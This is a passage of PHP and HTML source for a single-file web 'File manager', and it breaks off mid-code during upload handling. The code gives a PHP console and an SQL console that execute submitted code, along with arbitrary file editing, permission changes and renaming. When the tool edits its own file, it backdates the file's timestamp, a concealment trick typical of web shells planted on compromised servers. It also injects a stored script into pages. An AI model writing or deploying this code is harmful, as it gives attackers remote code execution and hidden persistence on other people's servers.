<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image:
url("data:image/png;base64,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");
}
.file {
background-image:
url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3
{display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if
(isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' :
$_POST['sql'];
$res_lng = 'sql';
} elseif
(isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' :
$_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File
manager').' -
'.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td
class="row2"
colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the
folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').'
'.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').'
'.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').'
'.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').'
'.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP
version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP
ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').'
'.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').'
xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP
'.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL
'.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input
name="fm_config[sql_server]"
value="'.$fm_config['sql_server'].'"
type="text"></td><td class="row2
whole">SQL server</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_username]"
value="'.$fm_config['sql_username'].'"
type="text"></td><td class="row2
whole">SQL user</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_password]"
value="'.$fm_config['sql_password'].'"
type="text"></td><td class="row2
whole">SQL password</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_db]"
value="'.$fm_config['sql_db'].'"
type="text"></td><td class="row2
whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').'
Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').'
phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').'
'.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after
editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').':
'.__('Restore file time after
editing'),'fm_restore_time').'
<tr><td class="row3"><a
href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset
settings').'</a></td><td
class="row3"><input type="submit"
value="'.__('Save').'"
name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th
colspan="2">'.__('Settings').' -
'.__('Authorization').'</th></tr>
<tr><td class="row1"><input
name="fm_login[authorize]" value="1"
'.($auth['authorize']?'checked':'').'
type="checkbox" id="auth"></td><td
class="row2 whole"><label
for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input
name="fm_login[login]"
value="'.$auth['login'].'"
type="text"></td><td class="row2
whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input
name="fm_login[password]"
value="'.$auth['password'].'"
type="text"></td><td class="row2
whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input
name="fm_login[cookie_name]"
value="'.$auth['cookie_name'].'"
type="text"></td><td class="row2
whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input
name="fm_login[days_authorization]"
value="'.$auth['days_authorization'].'"
type="text"></td><td class="row2
whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea
name="fm_login[script]" cols="35" rows="7"
class="textarea_input"
id="auth_script">'.$auth['script'].'</textarea></td><td
class="row2
whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td
class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?>
<?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database:
'.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo
'</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' .
$path;?>"><?=__('Back')?></a>
<form action="" method="POST"
name="console">
<textarea name="<?=$res_lng?>" cols="80"
rows="10" style="width:
90%"><?=$res?></textarea><br/>
<input type="reset"
value="<?=__('Reset')?>">
<input type="submit"
value="<?=__('Submit')?>"
name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ?
$_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl"
title="'.__('Template').'" onchange="if
(this.value!=-1)
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
= this.options[selectedIndex].value; else
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
=\'\';" >'."\n";
$select .= '<option value="-1">' .
__('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'"
'.((!empty($value)&&($value==$active))?'selected':'').'
>'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).'
'.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .=
__('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time']))
touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' .
$_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0'
cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' -
'.__('Edit').' -
'.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$editlink?>">
<textarea name="newcontent"
id="newcontent" cols="45" rows="15"
style="width:99%"
spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save"
value="<?=__('Submit')?>">
<input type="submit" name="cancel"
value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'],
fm_convert_rights($_REQUEST['rights_val']),
@$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'],
true);
$link = $url_inc . '&rights=' .
$_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rights').' -
'.$_REQUEST['rights']?> <input type="text"
name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox"
name="recursively" value="1">
<?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif
(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.')
{
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path .
$_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' .
$_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rename')?>: <input
type="text" name="newname"
value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file']))
{
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] =
str_replace('%', '',
$_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'],
